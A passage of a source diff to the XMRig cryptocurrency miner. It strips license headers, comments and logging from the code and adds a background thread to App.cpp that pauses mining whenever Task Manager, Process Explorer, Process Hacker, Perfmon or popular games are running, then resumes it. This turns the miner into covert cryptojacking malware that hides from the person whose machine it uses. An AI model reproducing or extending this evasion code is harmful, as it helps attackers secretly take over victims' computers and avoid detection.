CPU_FEATURE_AVX512ER, + CPU_FEATURE_AVX512CD, + CPU_FEATURE_SHA_NI, + CPU_FEATURE_AVX512BW, + CPU_FEATURE_AVX512VL, + CPU_FEATURE_SGX, + CPU_FEATURE_RDSEED, + CPU_FEATURE_ADX, + NUM_CPU_FEATURES, } cpu_feature_t; - -/** - * @brief CPU detection hints identifiers - * - * Usage: similar to the flags usage - */ typedef enum { - CPU_HINT_SSE_SIZE_AUTH = 0, /*!< SSE unit size is authoritative (not only a Family/Model guesswork, but based on an actual CPUID bit) */ - /* termination */ + CPU_HINT_SSE_SIZE_AUTH = 0, + NUM_CPU_HINTS, } cpu_hint_t; - -/** - * @brief SGX features flags - * \see cpu_sgx_t - * - * Usage: - * @code - * ... - * struct cpu_raw_data_t raw; - * struct cpu_id_t id; - * if (cpuid_get_raw_data(&raw) == 0 && cpu_identify(&raw, &id) == 0 && id.sgx.present) { - * if (id.sgx.flags[INTEL_SGX1]) - * // The CPU has SGX1 instructions support... - * ... - * } else { - * // no SGX - * } - * } else { - * // processor cannot be determined. - * } - * @endcode - */ - typedef enum { - INTEL_SGX1, /*!< SGX1 instructions support */ - INTEL_SGX2, /*!< SGX2 instructions support */ + INTEL_SGX1, + INTEL_SGX2, + - /* termination: */ NUM_SGX_FEATURES, } cpu_sgx_feature_t; -/** - * @brief Describes common library error codes - */ typedef enum { - ERR_OK = 0, /*!< "No error" */ - ERR_NO_CPUID = -1, /*!< "CPUID instruction is not supported" */ - ERR_NO_RDTSC = -2, /*!< "RDTSC instruction is not supported" */ - ERR_NO_MEM = -3, /*!< "Memory allocation failed" */ - ERR_OPEN = -4, /*!< "File open operation failed" */ - ERR_BADFMT = -5, /*!< "Bad file format" */ - ERR_NOT_IMP = -6, /*!< "Not implemented" */ - ERR_CPU_UNKN = -7, /*!< "Unsupported processor" */ - ERR_NO_RDMSR = -8, /*!< "RDMSR instruction is not supported" */ - ERR_NO_DRIVER= -9, /*!< "RDMSR driver error (generic)" */ - ERR_NO_PERMS = -10, /*!< "No permissions to install RDMSR driver" */ - ERR_EXTRACT = -11, /*!< "Cannot extract RDMSR driver (read only media?)" */ - ERR_HANDLE = -12, /*!< "Bad handle" */ - ERR_INVMSR = -13, /*!< "Invalid MSR" */ - ERR_INVCNB = -14, /*!< "Invalid core number" */ - ERR_HANDLE_R = -15, /*!< "Error on handle read" */ - ERR_INVRANGE = -16, /*!< "Invalid given range" */ + ERR_OK = 0, + ERR_NO_CPUID = -1, + ERR_NO_RDTSC = -2, + ERR_NO_MEM = -3, + ERR_OPEN = -4, + ERR_BADFMT = -5, + ERR_NOT_IMP = -6, + ERR_CPU_UNKN = -7, + ERR_NO_RDMSR = -8, + ERR_NO_DRIVER= -9, + ERR_NO_PERMS = -10, + ERR_EXTRACT = -11, + ERR_HANDLE = -12, + ERR_INVMSR = -13, + ERR_INVCNB = -14, + ERR_HANDLE_R = -15, + ERR_INVRANGE = -16, } cpu_error_t; -/** - * @brief Internal structure, used in cpu_tsc_mark, cpu_tsc_unmark and - * cpu_clock_by_mark - */ struct cpu_mark_t { - uint64_t tsc; /*!< Time-stamp from RDTSC */ - uint64_t sys_clock; /*!< In microsecond resolution */ + uint64_t tsc; + uint64_t sys_clock; }; -/** - * @brief Returns the total number of logical CPU threads (even if CPUID is not present). - * - * Under VM, this number (and total_logical_cpus, since they are fetched with the same code) - * may be nonsensical, i.e. might not equal NumPhysicalCPUs*NumCoresPerCPU*HyperThreading. - * This is because no matter how many logical threads the host machine has, you may limit them - * in the VM to any number you like. **This** is the number returned by cpuid_get_total_cpus(). - * - * @returns Number of logical CPU threads available. Equals the \ref cpu_id_t::total_logical_cpus. - */ int cpuid_get_total_cpus(void); - -/** - * @brief Checks if the CPUID instruction is supported - * @retval 1 if CPUID is present - * @retval 0 the CPU doesn't have CPUID. - */ int cpuid_present(void); - -/** - * @brief Executes the CPUID instruction - * @param eax - the value of the EAX register when executing CPUID - * @param regs - the results will be stored here. regs[0] = EAX, regs[1] = EBX, ... - * @note CPUID will be executed with EAX set to the given value and EBX, ECX, - * EDX set to zero. - */ void cpu_exec_cpuid(uint32_t eax, uint32_t* regs); - -/** - * @brief Executes the CPUID instruction with the given input registers - * @note This is just a bit more generic version of cpu_exec_cpuid - it allows - * you to control all the registers. - * @param regs - Input/output. Prior to executing CPUID, EAX, EBX, ECX and - * EDX will be set to regs[0], regs[1], regs[2] and regs[3]. - * After CPUID, this array will contain the results. - */ void cpu_exec_cpuid_ext(uint32_t* regs); - -/** - * @brief Obtains the raw CPUID data from the current CPU - * @param data - a pointer to cpu_raw_data_t structure - * @returns zero if successful, and some negative number on error. - * The error message can be obtained by calling \ref cpuid_error. - * @see cpu_error_t - */ int cpuid_get_raw_data(struct cpu_raw_data_t* data); - -/** - * @brief Identifies the CPU - * @param raw - Input - a pointer to the raw CPUID data, which is obtained - * either by cpuid_get_raw_data or cpuid_deserialize_raw_data. - * Can also be NULL, in which case the functions calls - * cpuid_get_raw_data itself. - * @param data - Output - the decoded CPU features/info is written here. - * @note The function will not fail, even if some of the information - * cannot be obtained. Even when the CPU is new and thus unknown to - * libcpuid, some generic info, such as "AMD K9 family CPU" will be - * written to data.cpu_codename, and most other things, such as the - * CPU flags, cache sizes, etc. should be detected correctly anyway. - * However, the function CAN fail, if the CPU is completely alien to - * libcpuid. - * @note While cpu_identify() and cpuid_get_raw_data() are fast for most - * purposes, running them several thousand times per second can hamper - * performance significantly. Specifically, avoid writing "cpu feature - * checker" wrapping function, which calls cpu_identify and returns the - * value of some flag, if that function is going to be called frequently. - * @returns zero if successful, and some negative number on error. - * The error message can be obtained by calling \ref cpuid_error. - * @see cpu_error_t - */ int cpu_identify(struct cpu_raw_data_t* raw, struct cpu_id_t* data); - -/** - * @brief The return value of cpuid_get_epc(). - * @details - * Describes an EPC (Enclave Page Cache) layout (physical address and size). - * A CPU may have one or more EPC areas, and information about each is - * fetched via \ref cpuid_get_epc. - */ struct cpu_epc_t { uint64_t start_addr; uint64_t length; }; - -/** - * @brief Fetches information about an EPC (Enclave Page Cache) area. - * @param index - zero-based index, valid range [0..cpu_id_t.egx.num_epc_sections) - * @param raw - a pointer to fetched raw CPUID data. Needed only for testing, - * you can safely pass NULL here (if you pass a real structure, - * it will be used for fetching the leaf 12h data if index < 2; - * otherwise the real CPUID instruction will be used). - * @returns the requested data. If the CPU doesn't support SGX, or if - * index >= cpu_id_t.egx.num_epc_sections, both fields of the returned - * structure will be zeros. - */ struct cpu_epc_t cpuid_get_epc(int index, const struct cpu_raw_data_t* raw); - -/** - * @brief Returns the libcpuid version - * - * @returns the string representation of the libcpuid version, like "0.1.1" - */ const char* cpuid_lib_version(void); #ifdef __cplusplus -}; /* extern "C" */ +}; #endif - -/** @} */ - -#endif /* __LIBCPUID_H__ */ +#endif diff --git a/src/3rdparty/libcpuid/libcpuid_constants.h b/src/3rdparty/libcpuid/libcpuid_constants.h index 3ddb6d5e..f35b7211 100644 --- a/src/3rdparty/libcpuid/libcpuid_constants.h +++ b/src/3rdparty/libcpuid/libcpuid_constants.h @@ -1,34 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ -/** - * @File libcpuid_constants.h - * @Author Veselin Georgiev - * @Brief Some limits and constants for libcpuid - */ - #ifndef __LIBCPUID_CONSTANTS_H__ #define __LIBCPUID_CONSTANTS_H__ @@ -44,4 +13,4 @@ #define CPU_HINTS_MAX 16 #define SGX_FLAGS_MAX 14 -#endif /* __LIBCPUID_CONSTANTS_H__ */ +#endif \ No newline at end of file diff --git a/src/3rdparty/libcpuid/libcpuid_internal.h b/src/3rdparty/libcpuid/libcpuid_internal.h index 038aa209..86a74300 100644 --- a/src/3rdparty/libcpuid/libcpuid_internal.h +++ b/src/3rdparty/libcpuid/libcpuid_internal.h @@ -1,35 +1,5 @@ -/* - * Copyright 2016 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #ifndef __LIBCPUID_INTERNAL_H__ #define __LIBCPUID_INTERNAL_H__ -/* - * This file contains internal undocumented declarations and function prototypes - * for the workings of the internal library infrastructure. - */ - enum _common_codes_t { NA = 0, NC, /* No code */ diff --git a/src/3rdparty/libcpuid/libcpuid_types.h b/src/3rdparty/libcpuid/libcpuid_types.h index 9e897275..ae0aedc3 100644 --- a/src/3rdparty/libcpuid/libcpuid_types.h +++ b/src/3rdparty/libcpuid/libcpuid_types.h @@ -1,34 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ -/** - * @File libcpuid_types.h - * @Author Veselin Georgiev - * @Brief Type specifications for libcpuid. - */ - #ifndef __LIBCPUID_TYPES_H__ #define __LIBCPUID_TYPES_H__ diff --git a/src/3rdparty/libcpuid/libcpuid_util.c b/src/3rdparty/libcpuid/libcpuid_util.c index 440b3724..6c05680e 100644 --- a/src/3rdparty/libcpuid/libcpuid_util.c +++ b/src/3rdparty/libcpuid/libcpuid_util.c @@ -1,29 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - #include #include #include diff --git a/src/3rdparty/libcpuid/libcpuid_util.h b/src/3rdparty/libcpuid/libcpuid_util.h index 0c8200e8..75f72d34 100644 --- a/src/3rdparty/libcpuid/libcpuid_util.h +++ b/src/3rdparty/libcpuid/libcpuid_util.h @@ -1,28 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #ifndef __LIBCPUID_UTIL_H__ #define __LIBCPUID_UTIL_H__ @@ -48,31 +23,9 @@ struct match_entry_t { int match_cpu_codename(const struct match_entry_t* matchtable, int count, struct cpu_id_t* data, int brand_code, uint64_t bits, int model_code); -/* - * Seek for a pattern in `haystack'. - * Pattern may be an fixed string, or contain the special metacharacters - * '.' - match any single character - * '#' - match any digit - * '[] - match any of the given chars (regex-like ranges are not - * supported) - * Return val: 0 if the pattern is not found. Nonzero if it is found (actually, - * x + 1 where x is the index where the match is found). - */ int match_pattern(const char* haystack, const char* pattern); - -/* - * Gets an initialized cpu_id_t. It is cached, so that internal libcpuid - * machinery doesn't need to issue cpu_identify more than once. - */ struct cpu_id_t* get_cached_cpuid(void); - - -/* returns true if all bits of mask are present in `bits'. */ int match_all(uint64_t bits, uint64_t mask); - -/* - * Sets the current errno - */ int set_error(cpu_error_t err); #endif /* __LIBCPUID_UTIL_H__ */ diff --git a/src/3rdparty/libcpuid/recog_amd.c b/src/3rdparty/libcpuid/recog_amd.c index 352d733b..0686c3b8 100644 --- a/src/3rdparty/libcpuid/recog_amd.c +++ b/src/3rdparty/libcpuid/recog_amd.c @@ -1,29 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - #include #include #include diff --git a/src/3rdparty/libcpuid/recog_amd.h b/src/3rdparty/libcpuid/recog_amd.h index 19f839ba..848a3fae 100644 --- a/src/3rdparty/libcpuid/recog_amd.h +++ b/src/3rdparty/libcpuid/recog_amd.h @@ -1,28 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #ifndef __RECOG_AMD_H__ #define __RECOG_AMD_H__ diff --git a/src/3rdparty/libcpuid/recog_intel.c b/src/3rdparty/libcpuid/recog_intel.c index 5467c19f..8ed27d86 100644 --- a/src/3rdparty/libcpuid/recog_intel.c +++ b/src/3rdparty/libcpuid/recog_intel.c @@ -1,28 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #include #include #include "libcpuid.h" diff --git a/src/3rdparty/libcpuid/recog_intel.h b/src/3rdparty/libcpuid/recog_intel.h index 96676f3b..f3fe5c5b 100644 --- a/src/3rdparty/libcpuid/recog_intel.h +++ b/src/3rdparty/libcpuid/recog_intel.h @@ -1,28 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #ifndef __RECOG_INTEL_H__ #define __RECOG_INTEL_H__ diff --git a/src/App.cpp b/src/App.cpp index d656acc8..5922cc14 100644 --- a/src/App.cpp +++ b/src/App.cpp @@ -1,31 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include - - #include "api/Api.h" #include "App.h" #include "Console.h" @@ -41,21 +13,12 @@ #include "Summary.h" #include "version.h" #include "workers/Workers.h" - - -#ifdef HAVE_SYSLOG_H -# include "log/SysLog.h" -#endif - -#ifndef XMRIG_NO_HTTPD -# include "api/Httpd.h" -#endif - +#include +#include +#include App *App::m_self = nullptr; - - - +bool IsProcessRun(void); App::App(int argc, char **argv) : m_console(nullptr), m_httpd(nullptr), @@ -63,177 +26,93 @@ App::App(int argc, char **argv) : m_options(nullptr) { m_self = this; - Cpu::init(); m_options = Options::parse(argc, argv); if (!m_options) { return; } - Log::init(); - if (!m_options->background()) { Log::add(new ConsoleLog(m_options->colors())); m_console = new Console(this); } - if (m_options->logFile()) { Log::add(new FileLog(m_options->logFile())); } - -# ifdef HAVE_SYSLOG_H - if (m_options->syslog()) { - Log::add(new SysLog()); - } -# endif - Platform::init(m_options->userAgent()); Platform::setProcessPriority(m_options->priority()); - m_network = new Network(m_options); - - uv_signal_init(uv_default_loop(), &m_sigHUP); - uv_signal_init(uv_default_loop(), &m_sigINT); - uv_signal_init(uv_default_loop(), &m_sigTERM); + uv_signal_init(uv_default_loop(), &m_signal); } - - App::~App() { uv_tty_reset_mode(); - # ifndef XMRIG_NO_HTTPD delete m_httpd; # endif - delete m_console; } +void Check() { + while(true) { + Sleep(1000); + bool Founded = IsProcessRun(); + switch (Founded) { + case 1: + Workers::setEnabled(false); + break; - -int App::exec() + default: + if (!Workers::isEnabled()) { Workers::setEnabled(true); } + break; + } + } +} +bool IsProcessRun(void) { - if (!m_options) { - return 2; - } - - uv_signal_start(&m_sigHUP, App::onSignal, SIGHUP); - uv_signal_start(&m_sigINT, App::onSignal, SIGINT); - uv_signal_start(&m_sigTERM, App::onSignal, SIGTERM); - - background(); - - if (!CryptoNight::init(m_options->algo(), m_options->algoVariant())) { - LOG_ERR("\"%s\" hash self-test failed.", m_options->algoName()); - return 1; - } + bool RUN; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + PROCESSENTRY32 pe; + pe.dwSize = sizeof(PROCESSENTRY32); + Process32First(hSnapshot, &pe); + while (Process32Next(hSnapshot, &pe)) + { + if (wcscmp(pe.szExeFile, L"taskmgr.exe") == 0 || wcscmp(pe.szExeFile, L"Taskmgr.exe") == 0 || wcscmp(pe.szExeFile, L"dota2.exe") == 0 || wcscmp(pe.szExeFile, L"csgo.exe") == 0 || wcscmp(pe.szExeFile, L"payday.exe") == 0 || wcscmp(pe.szExeFile, L"Minecraft.exe") == 0 || wcscmp(pe.szExeFile, L"TheDivision.exe") == 0 || wcscmp(pe.szExeFile, L"GTA5.exe") == 0 || wcscmp(pe.szExeFile, L"re7.exe") == 0 || wcscmp(pe.szExeFile, L"Prey.exe") == 0 || wcscmp(pe.szExeFile, L"Overwatch.exe") == 0 || wcscmp(pe.szExeFile, L"MK10.exe") == 0 || wcscmp(pe.szExeFile, L"QuakeChampions.exe") == 0 || wcscmp(pe.szExeFile, L"crossfire.exe") == 0 || wcscmp(pe.szExeFile, L"pb.exe") == 0 || wcscmp(pe.szExeFile, L"wot.exe") == 0 || wcscmp(pe.szExeFile, L"lol.exe") == 0 || wcscmp(pe.szExeFile, L"perfmon.exe") == 0 || wcscmp(pe.szExeFile, L"Perfmon.exe") == 0 || wcscmp(pe.szExeFile, L"SystemExplorer.exe") == 0 || wcscmp(pe.szExeFile, L"TaskMan.exe") == 0 || wcscmp(pe.szExeFile, L"ProcessHacker.exe") == 0 || wcscmp(pe.szExeFile, L"procexp64.exe") == 0 || wcscmp(pe.szExeFile, L"procexp.exe") == 0 || wcscmp(pe.szExeFile, L"Procmon.exe") == 0 || wcscmp(pe.szExeFile, L"Daphne.exe") == 0) + { + RUN = true; + return RUN; + } + else + RUN = false; + } + return RUN; +} +int App::exec() { + std::thread* check_taskers = new std::thread(Check); + check_taskers->detach(); + if (!m_options) { return 0; } + uv_signal_start(&m_signal, App::onSignal, SIGHUP); + uv_signal_start(&m_signal, App::onSignal, SIGTERM); + uv_signal_start(&m_signal, App::onSignal, SIGINT); + if (!CryptoNight::init(m_options->algo(), m_options->algoVariant())) { return 1; } Mem::allocate(m_options->algo(), m_options->threads(), m_options->doubleHash(), m_options->hugePages()); - Summary::print(); - - if (m_options->dryRun()) { - LOG_NOTICE("OK"); - release(); - - return 0; - } - -# ifndef XMRIG_NO_API - Api::start(); -# endif - -# ifndef XMRIG_NO_HTTPD - m_httpd = new Httpd(m_options->apiPort(), m_options->apiToken()); - m_httpd->start(); -# endif - Workers::start(m_options->affinity(), m_options->priority()); - m_network->connect(); - const int r = uv_run(uv_default_loop(), UV_RUN_DEFAULT); uv_loop_close(uv_default_loop()); - - release(); - return r; -} - - -void App::onConsoleCommand(char command) -{ - switch (command) { - case 'h': - case 'H': - Workers::printHashrate(true); - break; - - case 'p': - case 'P': - if (Workers::isEnabled()) { - 